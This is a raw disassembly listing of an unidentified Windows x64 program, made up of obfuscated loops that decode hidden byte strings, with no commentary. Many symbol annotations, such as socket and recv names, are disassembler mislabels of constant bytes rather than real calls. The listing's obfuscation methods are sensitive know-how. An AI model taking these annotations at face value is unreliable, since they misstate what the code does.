inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0xb5f2e8edc9e73438
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rdi + 0xaf0], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xaf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140074ab2
movabs rdx, 0x5346bf5bf0466c1e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xaf0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140074ab2
movabs rcx, 0x1695ce4146dcb932
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5e
jmp 0x140074ab0
movabs rdx, 0x89bbf9595158711e
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140074aa0
lea rcx, [rbp + 0x17041a8]
jmp 0x1400758e0
lea rcx, [rbp + 0x13265b2]
jmp 0x1400758e0
lea rcx, [rbp + 0xaf0]
xor r8d, r8d
xor edx, edx
call fcn.140040820
test al, al
je 0x14008cd53
lea rcx, str.General
call fcn.140036770
lea rdx, [0x140229fe0]
lea rcx, [rbp + 0x3c8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba40
mov r14, rax
mov byte [rbp + 0xb18], __WSAFDIsSet
mov byte [rbp + 0xb19], 0x7f
mov byte [rbp + 0xb1a], WSASetLastError
mov byte [rbp + 0xb1b], 0x75
mov byte [rbp + 0xb1c], 0x7c
mov byte [rbp + 0xb1d], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xb1e], 0xa6
mov byte [rbp + 0xb1f], 0x86
mov byte [rbp + 0xb20], 0x7d
mov byte [rbp + 0xb21], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xb22], 0x7c
mov byte [rbp + 0xb23], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xb24], Ordinal_79
mov byte [rbp + 0xb25], 0xc1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb26], xmm0
mov dword [rbp + 0xb36], eax
mov byte [rbp + 0xb3a], al
movabs r15, 0x6c47771c4121908a
movabs r13, 0x60de6a93c148aef2
movzx ebx, byte [rsp + 0x50]
nop
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor esi, esi
movabs rcx, 0x421bc8b833dd06e2
cmp rsi, 0x23
jae 0x1400765a5
movzx edi, byte [rbp + rsi + 0xb18]
mov r10, rdi
cmp r8, rsi
ja 0x14007659c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140075a1b
add rcx, rsi
mov rax, rcx
and rax, rdi
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdi
sub bl, 0x2e
jmp 0x140075a54
je 0x14007650d
inc rax
cmp r8, rax
je 0x140076473
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007643a
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007640d
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400763b7
cmp r9, rsi
ja 0x140076593
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x140075a84
lea rdx, [rsi + r15]
movzx eax, dil
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x140075ac5
lea rax, [r9 + 1]
cmp r8, rax
je 0x140076398
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007636b
lea rax, [r9 + 5]
cmp r8, rax
je 0x140076357
lea rax, [r9 + 4]
cmp r8, rax
je 0x140076332
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400762fe
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rsi
jbe 0x140075f5e
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x140075f39
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140075f0d
lea rax, [r9 + 5]
cmp r8, rax
je 0x140075ee4
lea rax, [r9 + 9]
cmp r8, rax
je 0x140075eb0
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140075e89
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140075e51
lea r8, [r9 + 6]
lea r9, [r8 + 0x200]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14007656c
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140076545
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140075c2a
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140075c0c
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140075db8
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140075d68
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140075ae0
lea r8, [r9 + 8]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140075d35
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140075d0e
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140075ce9
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140075cb8
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140075ca4
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140075c7b
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140075c59
lea r8, [r9 + 9]
lea r9, [r8 + 3]
jmp 0x140075ae0
lea rdx, [rsi + r13]
movzx eax, dil
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x140075a54
movabs rdx, 0xdca6d923598ea12e
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x42
add bl, dl
movabs rcx, 0x421bc8b833dd06e2
jmp 0x1400759ee
movabs rcx, 0x623bb8e2090c8450
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x30
jmp 0x1400763d7
movabs rcx, 0x59cc9601399868c8
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x78
dec rsi
inc rsi
jmp 0x1400759d2
movabs rdx, 0x515d73206a244d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140076449
movabs rcx, 0xcd25e1b0026a3f7c
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x64
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400759d2
movabs rdx, 0x48ee503f9ab031b8
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 8
add bl, dl
jmp 0x140076494
movabs rdx, 0xc4b6becf32f623f4
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x1400764c7
movabs rcx, 0x407f2d5ecb3c1630
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x50
movzx eax, byte [rbp + rsi + 0xb18]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400759d2
movabs rcx, 0x71bcb0556030e602
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0xe
add cl, dil
cmp r9, 0x61
jb 0x140076259
movabs rdx, 0x5711f964aa10be0c
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, dil
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1400763d7
movabs rdx, 0x694d8d7490bcca7a
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x56
add cl, dl
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x1400762d5
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x14007602d
movabs rdx, 0xc09ed3e45baaa3da
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 5
sub cl, al
add cl, cl
add cl, dil
add cl, dl
cmp r8, 0x20
jae 0x14007626b
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x140076153
movabs rdx, 0x2ce64b009ccc3464
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, dil
add cl, dl
jmp 0x140075d85
movabs rdx, 0x89accaa986c9633c
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, byte [rbp + rsi + 0xb18]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400759d2
movabs rdx, 0x813da7c8b75547b4
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x140076494
movabs rcx, 0x78ce84e7e7e12c2c
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x34
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400759d2
movabs rcx, 0x705f6207186d10a4
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x7c
dec rsi
inc rsi
jmp 0x1400759d2
movabs rcx, 0xec27d096b0b302e0
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x20
inc r9
dec rsi
inc rsi
jmp 0x1400759d2
movabs rdx, 0x67f03f2648f8f51c
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
jmp 0x1400763d5
lea rax, [r9 + 6]
cmp r8, rax
jae 0x140075f8a
movabs rdx, 0x421bc8b833dd06e2
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x2e
jmp 0x140075dd6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140075fcb
movabs rdx, 0xd88eee3882432114
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, byte [rbp + rsi + 0xb18]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400759d2
inc rax
cmp r8, rax
jne 0x140075ffa
movabs rdx, 0x5cc67fa8e9fd2ed8
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x1400764c7
movzx ecx, bl
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140075dd8
movabs rdx, 0x6da4c56a88e565e8
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x58
jmp 0x140076292
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140076059
movabs rdx, 0x44d66554c364b19e
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x52
jmp 0x1400763d5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007608a
movabs rcx, 0x4d45883592d8cd26
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0xa
dec rsi
inc rsi
jmp 0x1400759d2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400760a7
movabs rdx, 0x55b4ab16624ce8ae
mov ecx, Ordinal_35
jmp 0x140076449
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400760e2
movabs rcx, 0xd9ec3c86ca06f672
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x1e
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400759d2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140076112
movabs rdx, 0xe25b5f67997b11fa
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x1400764c7
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140075e14
movabs rcx, 0x6692f0d801351fbe
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x32
movzx eax, byte [rbp + rsi + 0xb18]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400759d2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140076190
movabs rcx, 0xb11ddc7104864228
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x18
movzx eax, byte [rbp + rsi + 0xb18]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400759d2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400761ca
movabs rcx, 0x3dc490c23bb46b74
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x2c
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400759d2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400761f5
movabs rdx, 0x4633b3a30b2886fc
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14007628f
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140076227
movabs rcx, 0xca6b451372e294c0
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x40
dec rsi
inc rsi
jmp 0x1400759d2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140075d85
movabs rdx, 0xd2da67f44256b048
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
jmp 0x1400763d5
mov byte [rbp + rsi + 0xb18], cl
movzx ebx, cl
inc rsi
jmp 0x1400759d2
movabs rdx, 0xdb498ad511cacbd0
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + rsi + 0xb18]
add bl, dil
add bl, dl
movabs rdx, 0x1d65538d45a7d2b2
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, dil
mov byte [rbp + rsi + 0xb18], cl
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400759d2
movabs rcx, 0x5f811c457984d994
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, byte [rbp + rsi + 0xb18]
lea ebx, [rdi + rcx]
sub bl, 0xc
jmp 0x140076494
movabs rcx, 0x123b940fe6ac0c6e
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 2
movzx eax, byte [rbp + rsi + 0xb18]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400759d2
movabs rdx, 0x9cc712f1737f0e6
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x4a
add bl, dl
jmp 0x140076494
movabs rdx, 0x15d4e4e47c3d55e
mov ecx, gethostname
jmp 0x140076449
movabs rdx, 0xf8ee2b6d784fb9d6
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
dec rsi
inc rsi
jmp 0x1400759d2
movabs rcx, 0xf07f088ca8db9e4e
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x22
jmp 0x1400763d7
movabs rdx, 0xe80fe5abd96782c6
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x6a
add bl, dl
movabs rdx, 0x992dc21cddedc4ee
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, dil
add cl, dl
mov byte [rbp + rsi + 0xb18], cl
inc r9
dec rsi
inc rsi
jmp 0x1400759d2
movabs rdx, 0xdfa0c2cb09f3673e
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
dec rsi
inc rsi
jmp 0x1400759d2
movabs rdx, 0xd7319fea3a7f4bb6
mov ecx, 3
add rdx, rsi
movzx eax, dil
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400759d2
mov rdi, r10
movabs rcx, 0xcec27d096b0b302e
add rcx, rsi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x42
movabs rdx, 0xa19ce4fdad61e076
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x3a
add cl, dl
movzx eax, cl
mov byte [rbp + rsi + 0xb18], al
inc r9
add rax, r9
sub rsi, rax
movabs rcx, 0xe3b8adb5e13ee758
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x68
add cl, dil
mov byte [rbp + rsi + 0xb18], cl
inc r8
mov rax, r12
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0xb18]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400759d2
movabs rdx, 0xc6535a289b9714a6
add rdx, rsi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + rsi + 0xb18]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400759d2
movabs rdx, 0x586f47b2f1d4936a
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x1400759ce
movabs rdx, 0xd437b6428a1a85a6
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x1400759be
lea rcx, [rbp + 0x140aaf0]
jmp 0x1400765ac
lea rcx, [rbp + 0xddb1d2]
jmp 0x1400765ac
lea rcx, [rbp + 0xb18]
mov rdx, r14
call fcn.140035c60
movss xmm1, dword [0x1401c39c8]
xorps xmm0, xmm0
call fcn.140017760
movss xmm2, dword [0x1401c394c]
movss xmm1, dword [0x1401c3960]
lea rcx, [rbp - 0x7c]
call fcn.140006440
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rax]
lea rcx, [0x140229c30]
call fcn.14006f4e0
test al, al
je 0x140076666
lea rdx, [0x14022a160]
lea rcx, [rbp + 0x3e8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
lea rdx, [0x140229c30]
call fcn.1400a4090
cmp dword [reloc.WS2_32.dll_accept], 0
sete byte [rsp + 0x50]
lea rdx, [0x14022a180]
lea rcx, [rbp + 0x408]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400a40b0
lea rdx, [0x14022a160]
lea rcx, [rbp + 0x428]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba60
mov ecx, dword [rax]
cmp dword [0x140229c30], ecx
je 0x1400766cb
lea rdx, [0x14022a160]
lea rcx, [rbp + 0x448]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
lea rdx, [0x140229c30]
call fcn.1400a4090
lea rdx, [0x14022a180]
lea rcx, [rbp + 0x468]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba40
xor ecx, ecx
mov r8d, dword [reloc.WS2_32.dll_accept]
test r8d, r8d
sete cl
movzx eax, byte [rax]
cmp ecx, eax
je 0x140076742
test r8d, r8d
sete byte [rsp + 0x40]
lea rdx, [0x14022a180]
lea rcx, [rbp + 0x488]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
lea rdx, [rsp + 0x40]
call fcn.1400a40b0
lea rdx, [0x14022a1c0]
lea rcx, [rbp + 0x4a8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba40
mov rsi, rax
mov byte [rbp + recv40], 0xb
mov byte [rbp + 0xb41], Ordinal_41
mov byte [rbp + 0xb42], gethostname
mov byte [rbp + 0xb43], gethostname
mov byte [rbp + 0xb44], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb45], Ordinal_30
mov byte [rbp + 0xb46], Ordinal_200
mov byte [rbp + 0xb47], Ordinal_41
mov byte [rbp + 0xb48], 9
mov byte [rbp + 0xb49], reloc.WS2_32.dll_sendto
mov byte [rbp + 0xb4a], 0xe2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb4b], xmm0
mov qword [rbp + 0xb5b], rax
movabs r14, 0xefa02e424f8a71cc
movabs r15, 0x25e74a9257a08fb4
movabs r13, 0x4c08cc42e2566c7c
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [0x1402304a8]
mov r8, qword [0x1402304a0]
nop
xor edi, edi
movabs rcx, 0x6cef3f27baa5119c
cmp rdi, 0x23
jae 0x1400774f5
movzx ebx, byte [rbp + rdi + 0xb40]
mov r10, rbx
cmp r9, rdi
ja 0x1400774ec
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14007685c
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x44
jmp 0x140076896
je 0x14007745e
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400773c0
lea rax, [r8 + 3]
cmp r9, rax
je 0x14007738c
lea rax, [r8 + 4]
cmp r9, rax
je 0x14007735b
lea rax, [r8 + 2]
cmp r9, rax
je 0x14007730d
cmp r8, rdi
ja 0x1400774e3
lea rax, [r8 + 9]
cmp r9, rax
jae 0x1400768c4
lea rdx, [rdi + r14]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140076900
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400772e9
lea rax, [r8 + 3]
cmp r9, rax
je 0x140077285
lea rax, [r8 + 5]
cmp r9, rax
je 0x14007725e
lea rax, [r8 + 2]
cmp r9, rax
je 0x14007722a
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x140076e7d
nop dword [rax]
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x140076e56
lea rax, [r8 + 8]
cmp r9, rax
je 0x140076e25
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x140076dfc
lea rax, [r8 + 3]
cmp r9, rax
je 0x140076ded
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x140076db7
lea rax, [r8 + 9]
cmp r9, rax
je 0x140076d7f
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x140076d5c
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x140076d34
lea r9, [r8 + 0x61]
lea r8, [r9 + 0x5a]
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x1400774bb
lea rax, [r8 + 1]
cmp r9, rax
jb 0x140077498
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x140076ac0
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x140076aa6
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x140076a87
lea rax, [r8 + 2]
cmp r9, rax
jb 0x140076cd8
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x140076c82
lea rax, [r8 + 8]
cmp r9, rax
jb 0x140076c30
lea rax, [r8 + 3]
cmp r9, rax
jb 0x140076910
lea r9, [r8 + 0x64]
lea r8, [r9 + 0x3e8]
lea rax, [r8 + 5]
cmp r9, rax
ja 0x140076bfc
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x140076bd4
lea rax, [r8 + 1]
cmp r9, rax
ja 0x140076bb1
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x140076b79
lea rax, [r8 + 6]
cmp r9, rax
ja 0x140076b43
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x140076b20
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x140076af2
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x140076910
lea r9, [r8 + 0xa]
lea r8, [r9 + 0x28]
jmp 0x140076910
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140076900
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x140076896
movabs rdx, 0x722a4df36d0c4944
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rcx, 0x6cef3f27baa5119c
jmp 0x14007682e
movabs rdx, 0xc944757391bf47f0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140076812
movabs rcx, 0xef65f7241c7524b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x1400772a8
movabs rcx, 0x158778d4a72b0180
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076812
movabs rdx, 0x3ba8fa8531e0de48
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076812
movabs rcx, 0x61ca7c35bc96bb10
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x1400773e5
movabs rdx, 0x87ebfde6474c97d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140077416
movabs rcx, 0xae0d7f96d20274a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
movzx eax, byte [rbp + rdi + 0xb40]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140076812
movabs rdx, 0xb382c580b77ef95c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 8
jb 0x1400771bb
movabs rcx, 0x675329d45dc50428
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x30]
jmp 0x14007732b
movabs rdx, 0xd9a447314234d624
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x7a
jae 0x1400771cb
lea rax, [r8 + 0x2a]
cmp r9, rax
jbe 0x1400770d9
movabs rdx, 0xe4a23ab9c8dfa3f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
jmp 0x140076c47
movabs rcx, 0xffc5c8e1cceab2ec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
lea rax, [r8 + r9]
cmp rax, 3
je 0x1400771fb
lea rax, [r8 + 6]
cmp r9, rax
jbe 0x140076fc0
movabs rcx, 0xf5020c777955322c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x140076ca5
movabs rdx, 0xc3e2973e67f48790
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140077416
movabs rcx, 0xea0418eef2aa6458
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
